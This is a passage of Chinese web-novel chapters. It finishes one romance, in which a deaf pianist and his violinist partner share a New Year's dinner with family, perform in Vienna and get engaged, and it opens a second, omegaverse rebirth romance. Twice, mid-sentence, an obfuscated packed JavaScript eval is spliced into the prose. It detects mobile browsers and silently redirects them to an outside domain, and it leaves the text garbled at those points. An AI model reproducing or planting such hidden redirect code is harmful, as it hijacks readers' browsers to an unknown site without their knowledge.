"程老师!"许母一看到程陌就激动地小跑过来,"终于见到真人了!我收藏了你所有的演出录像!" 程陌礼貌地微笑点头,许星河在一旁翻译:"妈,程陌现在能读唇语,你说话慢点就行。" "对对对,"许母放慢语速,眼睛亮晶晶的,"我一直想问你,肖邦练习曲Op.25 No.11那个结尾处的踏板,你是故意——" "老婆,"许父无奈地打断,"我们是来吃年夜饭的,不是来开大师课的。" 许母不好意思地笑了:"抱歉,太兴奋了。厨房需要帮忙吗?" 程陌摇摇头,打字道:【快好了,请先休息。】 "爸,妈,我带你们参观一下!"许星河兴奋地拉着父母在公寓里转悠,"这是琴房,我们平时练习的地方...这是阳台,程老师种了好多植物...这是..." 程陌回到厨房,听着远处传来的欢声笑语,胸口涌上一股暖流。自从父母因工作常驻国外后,他已经很久没有体验过这种家庭的热闹了。许星河不仅给了他爱情,还给了他久违的家的感觉。 年夜饭比预想的顺利。许母对松鼠桂鱼赞不绝口,许父则对程陌自酿的梅子酒情有独钟。酒过三巡,连一向严肃的许父也变得健谈起来。 "星河从小就说要找个像你这样的伴侣,"许父抿了一口酒,眼镜后的眼睛微微眯起,"十二岁那年,他把零花钱全省下来买了你的一套限量版唱片,结果饿了两天肚子。" "爸!"许星河脸红得像桌上的龙虾,"说这些干嘛!" 程陌忍不住笑了,打字问:【真的?】 "才不是!"许星河急忙否认,但闪烁的眼神出卖了他,"好吧...可能是真的。但那是因为你的音乐太棒了!" 许母突然从包里拿出一个相册:"程老师,想看看星河小时候的照片吗?" 不等程陌回答,许星河已经扑过去试图阻止:"妈!不要!" 但为时已晚。程陌看到了五岁的许星河穿着小西装站在玩具钢琴前的照片,七岁第一次学小提琴时哭鼻子的样子,十岁在学校演出时忘谱呆立在台上的窘态... "这张最可爱,"许母神秘兮兮地翻到最后一页,"十六岁去维也纳——" "妈!!!"许星河几乎要钻到桌子底下。 那是一张许星河在程陌维也纳演出海报前的照片,少年双手捧着海报边缘,脸颊贴在上面,表情虔诚得像在朝圣。程陌胸口一紧——原来在他不知道的时候,许星河就已经这样注视着他了。 "好了好了,不逗你了,"许母笑着合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353486|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上相册,转向程陌,表情突然变得认真,"程老师,我们星河有时候很任性,给你添了不少麻烦吧?" 程陌摇摇头,打字道:【他是我生命中最美好的意外。】 许母的眼圈一下子红了:"那我们就放心了。"她握住丈夫的手,"音乐是世界上最美好的东西,而你们俩...是彼此最完美的和声。" 饭后,许父主动提出要洗碗,许母则拉着程陌在阳台上聊天。 "星河从小就很固执,"许母望着远处绽放的烟花,声音温柔,"七岁那年,他听了你的演奏后非要学钢琴,但我们买不起,只能让他学小提琴。他哭了整整一周,最后还是擦干眼泪去上课了。" 程陌想起许星河琴盒里那把有些年头的提琴,第一次意识到它背后的故事。 "后来他听说你车祸失聪,"许母继续说,声音有些哽咽,"把自己关在房间里三天,出来后就说要研究音乐治疗...这孩子,认定的事就一定要做到。" 程陌望向客厅——许星河正和父亲一起看春晚,不知说了什么笑话,逗得许父哈哈大笑。年轻人的侧脸在灯光下格外生动,眼睛弯成月牙,右脸颊的小酒窝若隐若现。 这一刻,程陌突然无比确定,无论前世有多少次轮回,他都会在每一次生命中认出许星河,就像认出自己灵魂的另一半。 送走父母后,许星河瘫在沙发上长舒一口气:"总算过关了!我就说我爸妈会喜欢你的。" 程陌坐在他身边,轻轻抚摸他柔软的头发。许星河像只被顺毛的猫一样眯起眼,突然想起什么似的坐起来:"对了,我妈跟你聊了什么?没说我什么糗事吧?" 程陌微笑摇头,打字道:【她说你很爱我。】 许星河的脸瞬间红了:"这个...不用她说你也知道吧?"他低头玩着程陌的袖扣,声音越来越小,"我从小就...一直..." 程陌抬起他的下巴,用一个吻封住了那些未尽的话语。窗外,新年的烟花绚烂绽放,照亮了相拥的两人。 在这个万家团圆的夜晚,程陌第一次感到,自己的人生乐章终于迎来了最圆满的和弦——有音乐,有爱,有家。而这一切的中心,都是这个叫许星河的年轻人,他生命中最动人的旋律。 53. 第 71 章[番外] 程陌站在维也纳金色大厅的侧台,手指不自觉地摩挲着西装袖口的那对音符袖扣。十年了,自从那场车祸后,他再也没踏上过这个舞台——那个曾经见证他辉煌与陨落的地方。 "紧张吗?"许星河从身后环抱住他的腰,下巴搁在他肩膀上。年轻人今天穿了一套深蓝色西装,衬得肤色更加白皙,那枚音符胸针依然别在领口,在灯光下闪闪发亮。 程陌摇摇头,转身帮许星河整理领带。这已经成为他们之间的小仪式——每次重要演出前,程陌都会为许星河系领带,而许星河则会帮他调整骨传导耳机。 "想想看,"许星河轻声说,眼睛亮得像星星,"十年前,我就坐在观众席第三排,看着你在这里演奏肖邦。现在,我们要一起站在这个舞台上了。" 程陌胸口一紧。维也纳音乐协会特别邀请他们这对"传奇二重奏"来演出,不仅因为他们在音乐治疗领域的开创性工作,更因为这段跨越障碍的爱情故事感动了无数人。 "五分钟后上场。"工作人员提醒道。 许星河握住程陌的手,将它放在自己胸口:"记住,音乐在这里。无论发生什么,我都会在你身边。" 程陌能感受到许星河有力的心跳,稳定而温暖。他点点头,突然倾身在年轻人额头上轻轻一吻。这个突如其来的亲昵举动让许星河红了脸,但眼睛里的笑意更深了。 主持人宣布他们的名字时,掌声如潮水般涌来。程陌跟在许星河身后走上舞台,刺眼的灯光让他眯起眼睛。台下座无虚席,前排有几个熟悉的面孔——沃克教授、林姐,甚至还有他多年未见的父母。 程陌坐在钢琴前,戴上特制的骨传导耳机,手指悬在琴键上方。许星河向观众鞠躬,然后转向程陌,用手语比划:【准备好了吗?】 程陌点点头。第一个音符响起时,他感到一种奇异的平静,仿佛回到了最自然的状态。钢琴声如流水般倾泻而出,几小节后,许星河的小提琴加入,如同夜空中第一颗亮起的星辰。 他们演奏的是《唯爱》完整版,这首曲子已经成了他们的标志,记录着从相遇到相知的每一个瞬间。当乐曲进入高潮部分时,许星河突然向他走近几步,琴声更加激昂,仿佛在诉说着什么无法用语言表达的情感。 程陌抬头,与许星河四目相对。在舞台的聚光灯下,年轻人的眼睛闪闪发亮,像是真的盛满了星光。那一刻,程陌突然明白了这首曲子真正的意义——不是关于失去,而是关于在失去后依然能找到的爱与希望。 最后一个音符余韵未消,全场已经爆发出雷鸣般的掌声。前排的观众站起来欢呼,其中有不少是戴着助听器的听障人士,他们用力挥舞着双手,脸上洋溢着纯粹的喜悦。 程陌和许星河一起鞠躬谢幕。当程陌直起身时,发现许星河眼中噙着泪水。"我爱你,"年轻人用口型说,声音淹没在掌声中,"永远。" 回到后台,他们立刻被祝贺的人群包围。沃克教授激动地谈论着他们的音乐治疗基金会的最新进展,林姐则忙着安排后续采访。在一片嘈杂中,程陌寻找着父母的身影——自从车祸后,他们之间的关系一直很疏远。 "小陌。"父亲的声音从身后传来。 程陌转身,看到父母站在角落,表情复杂而克制。母亲的眼睛红红的,像是刚哭过。 "你的演奏...很美,"父亲艰难地组织着语言,这个一向严肃的男人此刻显得格外笨拙,"比以前更有...感情。" 母亲突然上前一步,紧紧抱住了程陌:"对不起,儿子。我们本该在你最需要的时候陪在你身边的..." 程陌僵了一下,随即放松下来,轻轻回抱住母亲。这些年积压的委屈与隔阂,在这个拥抱中似乎消融了一些。 "那个年轻人,"父亲看向不远处被记者围住的许星河,"他对你很好?" 程陌点点头,打字道:【他是我生命中最美好的礼物。】 父亲若有所思地看了许星河一会儿,突然说:"他看你的眼神,和你妈妈年轻时看我的眼神一样。" 这句出乎意料的话让程陌愣住了。他看向许星河,恰好年轻人也正望过来,隔着人群对他露出一个明亮的笑容——那个专属的,右脸颊有小酒窝的笑容。 庆功宴上,许星河被各路音乐家和赞助人团团围住,谈笑风生。程陌则安静地站在窗边,看着这个在社交场合如鱼得水的年轻人,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353487|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中满是骄傲。 "不去救你的小未婚夫?"林姐不知何时站在了他身边,手里端着香槟,"那位德国指挥家已经缠着他聊了二十分钟了。" 程陌微笑摇头,打字道:【他享受这种时刻。】 "你们真是天生一对,"林姐感叹,"一个像火,一个像冰,却完美地互补。"她顿了顿,"对了,基金会下个月在亚洲的项目,你们谁去?" 【他去。】程陌打字,【我有别的安排。】 林姐挑眉:"什么安排这么神秘?" 程陌但笑不语,目光重新落在许星河身上。年轻人似乎感应到了他的注视,转头对他眨了眨眼,用口型说"马上回来"。 深夜,回到酒店房间,许星河踢掉鞋子,直接瘫在床上:"累死了!不过太值得了,那个德国指挥家说要推荐我们去柏林爱乐——" 程陌坐在床边,轻轻按摩许星河紧绷的肩膀。年轻人舒服地哼哼着,像只被顺毛的猫。 "对了,"许星河突然翻身坐起,"林姐说你有''别的安排''?什么安排啊?" 程陌神秘地笑了笑,从口袋里拿出一个小盒子。许星河的眼睛瞬间瞪大,嘴巴张成一个小小的"O"形。 "等等...这是..." 程陌单膝跪地,打开盒子,里面是一对铂金戒指,内侧刻着他们第一次合奏的日期和《星光》的前两个小节。 【许星河,】程陌打字,手机语音平静地播放着他的心声,【十年前你在维也纳看着我,三年前你在酒吧找到我,现在...你愿意成为我的丈夫吗?】 许星河的眼泪瞬间决堤,他扑进程陌怀里,声音因哭泣而断断续续:"笨...笨蛋...当然愿意啊...这种问题还用问吗..." 程陌紧紧抱住这个改变了他一生的年轻人,感受着怀中身体的温度和心跳的节奏。窗外,维也纳的夜空繁星点点,就像许星河眼中的光芒,照亮了他曾经黑暗的世界。 在这个充满音乐与回忆的城市,他们完成了命运的圆环——从偶像与粉丝,到搭档与爱人,现在,即将成为彼此终身的伴侣。 而他们的故事,就像最美的乐章,永远不会有休止符。 54. 重生与命定相遇 刺耳的刹车声划破耳膜,程予乐最后的意识停留在那束刺目的车灯上。三十岁生日蛋糕还放在副驾驶座,奶油裱花写着"祝老程早日脱单"。 真他妈讽刺,这下永远脱单了。 "程予乐!睡够没有?开学第一天就敢在早自习睡觉!" 一声暴喝惊得程予乐猛地抬头,额头磕在硬物上发出"咚"的闷响。眼前不是扭曲变形的驾驶室,而是洒满晨光的教室。同桌周浩正拼命冲他使眼色,讲台上班主任老张的粉笔头已经精准飞来。 他下意识抬手接住,动作利落得让全班发出"哇"的起哄声。 "反应挺快嘛,"老张冷笑,"那上来解这道题。" 程予乐茫然看向黑板,三角函数?他三十岁的人早忘光了...等等,三十岁? 低头看向自己——蓝白校服袖口露出纤细手腕,桌上摊开的笔记本写着"高三(7)班程予乐"。他颤抖着摸向脸颊,没有熬夜加班攒下的胡茬,没有那道车祸前刚冒出的皱纹。 "我...多大了?"他喃喃自语。 "装什么嫩,"周浩小声吐槽,"上个月不是刚过完十八岁生日?" 十八岁。2013年。高三开学第一天。 程予乐双腿发软地走上讲台,粉笔在他手中如有神助般滑动。这道题他确实不会——三十岁的程予乐不会,但二十八岁那年他给表妹补过课,恰好讲过这道经典题型。 "正确。"老张惊讶地推推眼镜,"暑假偷偷用功了?" 教室里响起稀稀拉拉的掌声。程予乐走回座位时,指甲深深掐进掌心。疼,不是梦。窗外玉兰树还是记忆中的高度,后排李明的球鞋还是那双限量版AJ5,所有细节严丝合缝。 他重生了。 下课铃响,程予乐冲向卫生间,掬起冷水狠狠拍脸。镜中的少年眉眼清秀,发梢还翘着不听话的弧度,是后来被职场磨平的模样。 "前世错过的人,这一世我死也不会放手。" 车祸前最后听到的话突然浮现。同事小林的啜泣声:"医生说程哥本来有个命定Alpha,信息素匹配度超高,要是早点遇到说不定能..." 能什么?能不死于突发性信息素紊乱?能不被那场车祸带走?程予乐攥紧洗手台边缘。前世他直到三十岁都没遇到过什么命定之人,平凡地升学,平凡地就业,平凡地...死去。 "这次不一样。"他对镜子里的自己说。 回到教室时,走廊突然骚动起来。女生们挤在窗边窃窃私语,有人甚至掏出小镜子整理刘海。 "听说转学生超帅!""好像是Alpha...""教导主任亲自带过来的!" 程予乐心头莫名一跳。他鬼使神差地转身,逆着人流往教务处方向跑去。拐角处,他猝不及防撞上一堵人墙。 清冽的雪松气息扑面而来,混着一丝若有若无的烈酒香。程予乐膝盖一软,险些跪倒,被一双戴着黑色半指手套的手稳稳扶住。 "看路。" 低沉的嗓音像冰泉淌过耳膜。程予乐抬头,对上一双琥珀色的眼睛。轮廓分明的少年比他高出半个头,左耳一枚银色耳钉在晨光中泛着冷光。 裴瑾。 这个名字毫无预兆地跳进脑海。程予乐瞪大眼睛——他确定自己从未见过这个人,却莫名知道对方讨厌甜食、惯用左手、后颈腺体位置有颗小痣。 "你..."裴瑾微微皱眉,鼻翼翕动,"橙子?" 程予乐这才惊觉自己的信息素失控了。甜橙混着蜂蜜的味道正不受控制地溢出,而对方的信息素——那种冷冽的雪松香——突然变得浓烈,与他纠缠在一起,竟产生奇妙的化学反应,像冬日壁炉边烤橙子的温暖气息。 走廊灯光突然闪烁。两人同时后退一步,那种奇异的融合感随即中断。 "程予乐!乱跑什么?"老张的呵斥声传来,"快回教室,今天有转学生介绍。" 裴瑾已经转身离去,黑色风衣下摆划出冷硬的弧度。程予乐呆立原地,后知后觉地捂住后颈——那里正发烫,腺体突突跳动。 他知道了。全都知道了。 这个叫裴瑾的转学生,就是他前世错过的命定Alpha。 上课铃响,程予乐几乎是飘回座位的。讲台上,裴瑾简短地做完自我介绍,被安排到教室最后的空位。整整一节课,程予乐都能感觉到如有实质的视线烙在自己后颈上。 课间,周浩神秘兮兮地凑过来:"听说新来的是裴氏集团的公子,他爸给学校捐了栋实验楼才转进来的。" 程予乐心不在焉地嗯了一声。前世他听说过裴氏,互联网巨头,但从未将那个商业帝国与自己的人生联系起来。 "我去会会他。"程予乐突然站起来。 "卧槽你疯了?那哥们看着就不好惹..." 程予乐已经走到裴瑾桌前。对方正低头看书,银白色额发垂落,在眉眼投下阴影。察觉到有人靠近,裴瑾头也不抬:"有事?" "你耳机掉色了。"程予乐指了指对方挂在颈间的黑色耳机,"右耳内侧漆面有磨损,你习惯睡觉时听白噪音,经常翻身压到。" 裴瑾终于抬头,眼神锐利如刀。程予乐心跳如鼓——他怎么会知道这些?那些细节就像记忆般自然浮现,仿佛他们早已相识多年。 "还有,"程予乐凑近些,压低声音,"你后颈的阻隔贴该换了,雪松味漏出来了。" 裴瑾猛地扣住他手腕。隔着布料都能感受到Alpha惊人的体温。"你是谁?"声音里带着危险的意味。 程予乐绽开笑容,十八岁特有的朝气在脸上漾开:"你未来男朋友。" 全班倒吸一口冷气。裴瑾耳尖以肉眼可见的速度变红,手上力道却加重了:"胡说八道什么?" "不信?"程予乐趁机俯身,在裴瑾耳边轻声道,"你书包夹层有瓶抑制剂,生产日期是7月15日,瑞士进口,因为你对国产的过敏。" 裴瑾瞳孔骤缩。这是绝对隐私,连家人都不知道。 "今晚七点,校门口奶茶店见。"程予乐眨眨眼,"不然我就告诉全班你其实喜欢——" "闭嘴。"裴瑾松开他,声音里有一丝不易察觉的慌乱,"我去。" 程予乐哼着歌回到座位,无视周浩见鬼似的表情。他当然不会告诉裴瑾,这些"预知"全来自重生后突然觉醒的记忆碎片。更不会说,当他们的信息素交融时,他看到了模糊的画面——前世的裴瑾独自站在他的墓前,手里攥着两张泛黄的电影票。 那是他们本该拥有的第一次约会。 放学铃响,程予乐故意磨蹭到教室只剩他一人。转身时,果然看见裴瑾倚在后门,夕阳将他的轮廓镀上金边。 "解释。"Alpha言简意赅。 程予乐背起书包,甜橙信息素不自觉地飘出来:"急什么?先去喝奶茶,你最爱喝的——" "芋泥波波,无糖。"两人异口同声。 裴瑾的表情终于出现裂痕。程予乐大笑着走向他,十八岁的阳光透过窗户,将两个影子拉得很长,最终交融在一起。 这一次,他绝不会放手。 雪松与甜橙 奶茶店的暖光将裴瑾的轮廓柔化了几分。程予乐咬着吸管,偷瞄对面Alpha骨节分明的手指——那双手正烦躁地敲击桌面,黑色皮质手套与玻璃桌面碰撞发出清脆声响。 "所以,"裴瑾声音压得极低,"你是怎么知道那些事的?" 程予乐搅动着杯中的芋泥波波,故意拖长音调:"如果我说是做梦梦到的,你信吗?" "程予乐。"裴瑾眯起眼睛,信息素不自觉地溢出,雪松香气中那缕烈酒味道变得浓烈,"不要挑战我的耐心。" 周围的Omega顾客已经不自觉地向这边张望。程予乐后颈腺体突突跳动,甜橙混蜂蜜的信息素不受控制地溢出,与雪松气息在空中交织,竟形成一种奇妙的温暖香气,像是冬日壁炉旁烤橙子的味道。 "奇怪..."老板娘嘀咕着调整空调,"怎么突然这么暖和?" 裴瑾猛地站起身,椅子在地面刮出刺耳声响。他一把拽过程予乐手腕,不由分说地将人拖出店外。夜风拂过程予乐发烫的脸颊,他才发现两人信息素交融的程度有多异常。 "匹配度..."裴瑾声音沙哑,"至少85%以上。" 程予乐心跳漏了一拍。前世他直到死都不知道,自己和裴瑾的信息素匹配度竟然这么高。难怪刚才那一瞬,他竟能清晰感知到裴瑾的情绪——焦躁、怀疑,还有一丝难以察觉的好奇。 "现在可以说了吗?"裴瑾将程予乐抵在巷口的梧桐树下,手套指尖轻轻摩挲过Omega纤细的脖颈,"谁派你来接近我的?我父亲?还是董事会那群老东西?" 程予乐呼吸一滞。前世作为普通社畜,他根本不知道裴瑾背后竟有这么复杂的家庭关系。但此刻,一些记忆碎片突然闪现——财经杂志上裴氏家族内斗的报道,裴瑾父亲再婚的八卦新闻... "没人派我来。"程予乐直视裴瑾的眼睛,"我只是...比你自己更了解你。" 他抬手,指尖轻轻触碰裴瑾左耳那枚银色耳钉:"这是你母亲留下的,对不对?去年冬天她去世后,你就开始戴它。" 裴瑾如遭雷击,猛地后退一步。这个动作证实了程予乐的猜测——前世他确实在某篇报道中读到过裴氏集团董事长夫人病逝的消息。 "明天见,裴瑾。"程予乐趁机溜出Alpha的禁锢,回头眨眨眼,"记得带两份早餐,你不爱吃蛋黄对吧?我帮你吃掉。" 直到程予乐的身影消失在街角,裴瑾仍站在原地。夜风吹乱他的额发,也吹不散周身萦绕的甜橙余韵。 第二天清晨,程予乐刚进教室就看见桌上放着两个三明治和一杯豆浆。包装袋上龙飞凤舞地写着"别多想"三个字。他忍不住笑出声,这别扭的关心方式太裴瑾了。 "卧槽,太阳打西边出来了?"周浩凑过来,"新来的给你带早餐?" 程予乐得意地晃晃三明治:"这叫人格魅力。" "得了吧,人家可是年级第一的料,听说是从首都重点中学转来的。"周浩压低声音,"昨天数学组老师看到他入学测试卷了,最后一题用了大学才教的解法..." 程予乐咬了一口三明治,笑容渐渐扩大。前世他是个标准的理科渣,但现在不同了——二十八岁那年他为了辅导表妹高考,可是把高中知识重新啃了一遍。 "同学们打开教材第35页。"数学老师敲敲黑板,"今天我们讲导数的应用,这部分是高考重点..." 程予乐假装认真听讲,余光却不断瞟向教室后排。裴瑾坐得笔直,银白色发梢在晨光中近乎透明,像一座冰雕。但程予乐知道,那副冷漠外表下藏着怎样的温度。 "这道题请位同学上来做。"数学老师环视教室,目光落在最后一排,"裴瑾同学,你来试试?" 全班转头。裴瑾面无表情地走上讲台,粉笔在他手中如臂使指。短短两分钟,黑板上已经出现一行行漂亮的推导过程。 "非常完美。"数学老师满意地点头,"这种解法甚至超出了高考要求,看来裴同学已经自学过高等数学了。" 教室里响起惊叹声。裴瑾回到座位时,连眼神都没给旁人一个,直到—— "老师,我有另一种解法。" 程予乐举起手,在全班震惊的目光中走上讲台。他心跳如鼓,但并非因为紧张——前世二十八岁的记忆清晰如昨,表妹不会的这道题,他曾经研究过三种解法。 粉笔在黑板上划出优美弧线。程予乐写下最后一行公式时,听到后排传来轻微的"咔嗒"声——裴瑾的钢笔掉在了地上。 "这..."数学老师推了推眼镜,"这是竞赛思路,程予乐你暑假参加补习班了?" 程予乐腼腆地笑笑:"突然开窍了而已。" 回到座位时,他感觉一道灼热的视线烙在背上。不用回头也知道,那座"冰雕"终于有了裂痕。 课间操时间,程予乐故意落在最后。果然,刚拐进楼梯间就被一股力道拽进消防通道。雪松气息扑面而来,裴瑾将他困在双臂与墙壁之间。 "你到底是谁?"Alpha的声音带着危险的沙哑,"普通高中生不可能知道那些解法。" 程予乐仰头,故意让甜橙信息素若有若无地飘出:"如果我说我是穿越回来的,你信吗?" "荒谬。" "那这个呢?"程予乐突然伸手,精准地按在裴瑾右腹,"你这里有一道五厘米长的疤痕,是十二岁骑马摔的。你讨厌下雨天因为会关节痛,睡前一定要喝半杯温水..." 裴瑾的呼吸明显乱了。程予乐乘胜追击:"还有,你其实不喜欢芋泥波波,点它只是因为——" "因为那是店里咖啡因含量最低的饮品。"裴瑾接话,眼神复杂,"医生禁止我摄入过多咖啡因。" "心悸症嘛,我知道。"程予乐脱口而出,随即意识到说漏嘴了——这是前世某篇报道提到的,现在的裴瑾应该还没确诊。 裴瑾的眼神瞬间锐利如鹰。程予乐暗叫不好,正想找补,广播突然响起:"请各班同学速到操场集合,课间操即将开始。" Alpha深深看了他一眼,转身离去。程予乐长舒一口气,看来得想个更合理的解释了。 下午体育课测800米,程予乐跑完直接瘫在草坪上。重生回来光顾着兴奋,忘了这具十八岁的身体缺乏锻炼。阳光晒得他头晕目眩,甜橙信息素不受控制地溢出。 "低血糖还晒太阳,找死吗?" 阴影笼罩下来,一瓶运动饮料递到眼前。程予乐眯起眼睛,逆光中裴瑾的轮廓镀着金边,像尊神祇。 "谢谢。"程予乐接过饮料,指尖故意擦过对方手套,"担心我?" 裴瑾冷笑:"怕你晕倒又要送医务室,麻烦。" 程予乐拧开瓶盖,突然愣住——这不是普通饮料,而是专门为Omega设计的电解质水,添加了微量抑制剂。市面上很难买到,除非... "你随身带这个?"程予乐惊讶道,"给谁准备的?" 裴瑾别过脸,耳尖微红:"多管闲事。" 程予乐心头一暖。前世的裴瑾也是这样吗?表面冷漠,实则细心。如果他们没有错过,是不是早就能... "裴瑾!"一个西装革履的中年男人突然出现在操场边缘,"过来。" Alpha的身体明显僵硬了一瞬。程予乐顺着他的目光看去——男人眉眼与裴瑾有七分相似,但气质截然不同,浑身散发着上位者的压迫感。 裴董事长。程予乐恍然大悟,前世财经杂志上的风云人物。 "我马上回来。"裴瑾低声说,转身时雪松信息素不自觉地变得冷冽,"别乱跑。" 程予乐点点头,目光却追随着那对父子的身影。隔着半个操场,他听不清对话内容,但肢体语言说明一切——裴瑾站得笔直如松,而裴父手指几乎戳到他胸口。最后裴瑾深深鞠躬,裴父才甩手离去。 "那是裴瑾他爸?"周浩不知何时凑过来,"听说特别严格,上次月考有个学霸因为比裴瑾低十分,被他爸当众骂得狗血淋头。" 程予乐皱眉。前世他隐约听说过裴氏家族内斗的传闻,但没想到裴瑾父子关系这么紧张。难怪后来裴瑾会... 突然,一个念头击中了他。如果他能改变自己的命运,是不是也能改变裴瑾的? 放学铃声响起,程予乐三步并作两步追上裴瑾:"周末有空吗?" 裴瑾头也不回:"没。" "骗人。"程予乐拽住他书包带,"你爸刚骂完你,这周末肯定不敢出门浪。" 裴瑾终于停下脚步,眼神危险:"偷听我们说话?" "猜的。"程予乐晃晃手机,"不过我刚查到你爸明天要去参加互联网峰会,所以...逃课吗?带你去个地方。" "不去。" "那里有你母亲留下的东西。" 裴瑾猛地转身,琥珀色瞳孔骤缩:"你说什么?" 程予乐知道自己赌对了。前世某篇报道提过,裴瑾母亲是古琴演奏家,在城北文化馆留有作品。 "相信我一次。"程予乐轻声说,"就当是...感谢你的抑制剂饮料。" 夕阳将两人的影子拉得很长,最终交融在一起。裴瑾长久地凝视着程予乐,终于微不可察地点了点头。 甜橙与雪松的气息再次在空气中交织,形成一种独特的温暖香气,仿佛命运在轻声叹息。 ---母亲的琴声 周六清晨,程予乐蹲在校门口梧桐树下,呵出的白气在冷空气中凝结。他搓了搓手,看了眼手机——7:50,比约定时间早了十分钟。 "等人?" 低沉的嗓音从头顶传来,程予乐惊得差点摔了手机。裴瑾不知何时已经站在面前,黑色高领毛衣衬得他肤色冷白,耳垂上的银钉在晨光中泛着寒芒。 "你属猫的吗?走路没声音!"程予乐拍拍胸口站起身,甜橙信息素因为惊吓不受控制地溢出些许。 裴瑾鼻翼微动,后退半步:"去哪?" "城北文化馆。"程予乐从背包掏出两个暖手宝,塞给裴瑾一个,"拿着,你冬天手会发凉。" 裴瑾盯着手心里毛绒绒的橙子形状暖手宝,表情复杂:"你怎么连这个都知道?" "我说过的,"程予乐眨眨眼,"我比你更了解你自己。" 公交车上人不多,两人并排坐在后排。裴瑾全程望着窗外,黑色皮质手套搭在膝头,指节微微发白。程予乐偷偷打量他的侧脸——睫毛在眼下投出扇形阴影,下颌线紧绷如刀削。 "看什么?"裴瑾突然转头。 程予乐被抓个正着,耳根一热:"看你好看呗。" Alpha的耳尖以肉眼可见的速度变红,别过脸去。程予乐偷笑,十八岁的裴瑾比三十岁的可爱多了——至少还会脸红。 城北文化馆是栋老式建筑,灰白色外墙爬满常春藤。推开厚重的木门,暖气混着陈旧纸张的味道扑面而来。 "您好,请问古琴展区在哪?"程予乐问前台工作人员。 "三楼右转。不过今天有团体参观,部分区域不开放。" 程予乐道谢,拽着裴瑾往楼梯走。Alpha的手腕在他掌心微微发僵:"你到底要带我看什么?" "你母亲不是古琴演奏家吗?"程予乐压低声音,"这里有她捐赠的一把琴,据说琴身里藏了东西。" 裴瑾猛地停住脚步:"谁告诉你的?" "呃...网上查的?"程予乐暗叫不好。这其实是他前世偶然看到的八卦新闻,说裴瑾母亲去世前在文化馆留了私人物品。 裴瑾眼神锐利如刀,显然不信这套说辞。但最终他只是沉默地跟上脚步。 三楼古琴展区空无一人,玻璃柜中陈列着各式古琴。最里间的红木案几上,一把桐木琴静静躺着,旁边名牌写着"裴雪君女士捐赠"。 裴瑾的手指隔着玻璃轻轻描摹琴身轮廓,喉结滚动。程予乐突然感到一阵心疼——前世报道里说,裴瑾母亲去世时他正在参加竞赛,连最后一面都没见到。 "工作人员说不能碰展品,"程予乐左右张望,"但我们也许可以..." "这边。"裴瑾突然走向角落的安全出口。程予乐跟上去,发现楼梯间挂着"工作人员专用"的牌子。裴瑾从钱包抽出一张卡片在感应器上一刷——门开了。 "卧槽,你怎么有门禁卡?" "我爸是赞助商。"裴瑾语气平淡,但程予乐敏锐地捕捉到一丝苦涩。 储藏室堆满乐器箱,裴瑾精准地找到一个黑色长盒。开箱的瞬间,雪松信息素不受控制地溢出——盒中正是一把与他母亲展品一模一样的古琴。 "备用琴..."裴瑾轻抚琴身,突然手指一顿。他翻转琴体,在底部暗格中取出一枚微型芯片。 程予乐屏住呼吸。裴瑾将芯片插入自己的智能手表,全息影像瞬间投射在空气中—— 一位穿旗袍的女子坐在琴前,眉眼与裴瑾有七分相似。 "小瑾,如果你看到这个,妈妈应该已经不在了。"影像中的女子温柔微笑,"别怪你爸爸,他比任何人都爱你,只是不懂表达..." 裴瑾的呼吸变得粗重。女子继续道:"记得你五岁时问我,为什么总要你学那么多东西?现在告诉你答案:因为你不仅是裴家的继承人,更是你自己。无论你选择什么道路,记住..." 影像突然中断。裴瑾猛地握拳,芯片在掌心发出不堪重负的"咔吱"声。 "等等!别捏坏!"程予乐急忙抢救,"说不定还能修复!" 两人的手在芯片上相触,甜橙与雪松气息交织。刹那间,程予乐眼前闪过陌生画面——前世的裴瑾独自站在墓前,手中攥着这枚芯片,肩膀颤抖... 头痛突然袭来。程予乐闷哼一声跪倒在地,冷汗瞬间浸透后背。 "程予乐?"裴瑾的声音仿佛从很远的地方传来。一双有力的手臂将他扶起,雪松信息素突然变得浓郁,包裹住他。 "没事...只是低血糖。"程予乐勉强笑笑。这不是第一次了,每次前世记忆突然涌现都会伴随剧烈头痛,像是大脑在抗议过度使用。 裴瑾皱眉,从内袋掏出一个小瓶:"喝掉。" 程予乐接过,是Omega专用营养剂,味道甜得发腻。但喝下后头痛确实减轻了。 "谢谢。"程予乐晃晃瓶子,"你随身带这个,该不会..." "闭嘴。"裴瑾耳根发红,小心地将芯片收好,"今天的事,不准说出去。" "等等!"程予乐拽住他,"你母亲刚才提到你父亲...他们关系不好吗?" 裴瑾的眼神瞬间结冰:"与你无关。" "如果我说,我能帮你改善和你爸的关系呢?" Alpha嗤笑一声:"就凭你?" "三天后,裴氏集团会遭遇做空危机。"程予乐压低声音,"做空方是蓝海资本,他们掌握了你们西区项目的环保数据问题。" 裴瑾瞳孔骤缩:"你怎么会知道西区项目?那是绝密..." "你爸会在董事会上大发雷霆,但解决方案其实很简单——找第三方机构重新检测,提前公布真实数据。"程予乐直视裴瑾的眼睛,"如果你能在他最需要时提出这个建议..." "你到底是谁?"裴瑾一把将他按在墙上,雪松气息充满压迫感,"商业间谍?还是我父亲派来试探我的?" 